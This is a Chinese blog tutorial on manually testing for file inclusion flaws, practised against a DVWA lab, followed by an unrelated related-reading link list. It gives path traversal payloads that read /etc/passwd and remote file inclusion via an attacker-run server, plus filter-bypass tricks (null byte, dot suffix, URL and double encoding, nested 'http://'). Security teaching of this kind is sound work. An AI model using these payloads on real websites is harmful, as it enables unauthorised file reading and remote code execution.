• 手动挖掘漏洞(二)


    文件包含漏洞
    原因:文件权限限制不严,导致可以访问web目录以外的文件。
     
    漏洞特征
    ?page=a.php
    ?home=b.html
    ?file=content
     
    经典测试方式
    ?file=../../../../etc/passwd  根据相对路径加载文件
    ?file=/etc/passwd 根据绝对路径加载文件
    ?page=file:///etc/passwd 
    ?home=main.cgi
    ?page=http://www.a.com/1.php 根据外部url,加载远程文件
    http://1.1.1.1/../../../../dir/file.txt
     
     
    针对DVWA的一个漏洞
    http://192.168.133.132/dvwa/vulnerabilities/fi/?page=include.php 
    根据相对路径访问文件
    http://192.168.133.132/dvwa/vulnerabilities/fi/?page=../../../../../../../../../../../../../etc/passwd

    使用绝对路径访问文件

    http://192.168.133.132/dvwa/vulnerabilities/fi/?page=/etc/passwd

    根据外部url加载远程文件,这时我们可以开一个自己的服务器,然后让url指向自己的服务器。这样就可以执行我们本地的文件(嘿嘿,你懂得)

    有时候加载文件时,比如 

    ?file=/etc/passwd

    可能会提示/etc/passwd.php文件找不到,这是因为网站开发者可能用了某些过滤机制在文件名后面自动补全为.php文件,我们只时想找passwd这个文件并不希望去找一个.php文件,这时我们需要绕过字符的过滤,php5.3以前,通过一些简单地修改就能绕过过滤:

    加“.” : ?file=/etc/passwd.

    加“%00” : ?file=/etc/passwd%00    ,%00表示null

    将“http://”,改为“http%2e%2f%2f”

    ../url编码为%2e%2e%2f

    ..编码为%2e%2e%5c

    ../双层编码为%252e%252e%255c
     
     
    有些开发者会对一些关键词进行过滤,比如检测到http://就把这段置为空,而且只检查一次,我们可以用嵌套的方式绕过过滤,htthttp://p://,如果把中间的http://置为空,外层的http://就会新合为一个http://,这样也能绕过验证。
     
  • 相关阅读:
    百度地图api
    白岩松视频
    rails3 unicorn部署
    rails3 unicorn部署
    rails3 unicorn部署
    nginx geoip 模块实现地区性负载均衡
    workingwithrails
    rails部署方案
    rails3使用cucumber和rspec进行测试
    rails3 unicorn部署
  • 原文地址:https://www.cnblogs.com/zylq-blog/p/6713372.html
Copyright © 2020-2023  润新知